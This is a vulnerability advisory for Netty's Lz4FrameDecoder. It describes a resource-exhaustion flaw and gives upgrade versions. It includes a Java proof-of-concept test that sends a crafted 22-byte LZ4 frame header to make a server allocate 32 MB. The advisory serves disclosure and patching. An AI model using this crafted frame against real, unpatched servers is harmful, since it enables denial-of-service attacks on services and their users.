GHSA-mj4r-2hfc-f8p6
Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Quick fix
GHSA-mj4r-2hfc-f8p6 — io.netty:netty-codec-compression: upgrade to the fixed version with the command below.
# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-compressionDetails
### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.
### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.
### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } });
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive(); } });
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ```
### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 4.2.13.Final# pom.xml: bump <version>4.2.13.Final</version> for io.netty:netty-codec-compression0Fixed in: 4.1.133.Final# pom.xml: bump <version>4.1.133.Final</version> for io.netty:netty-codec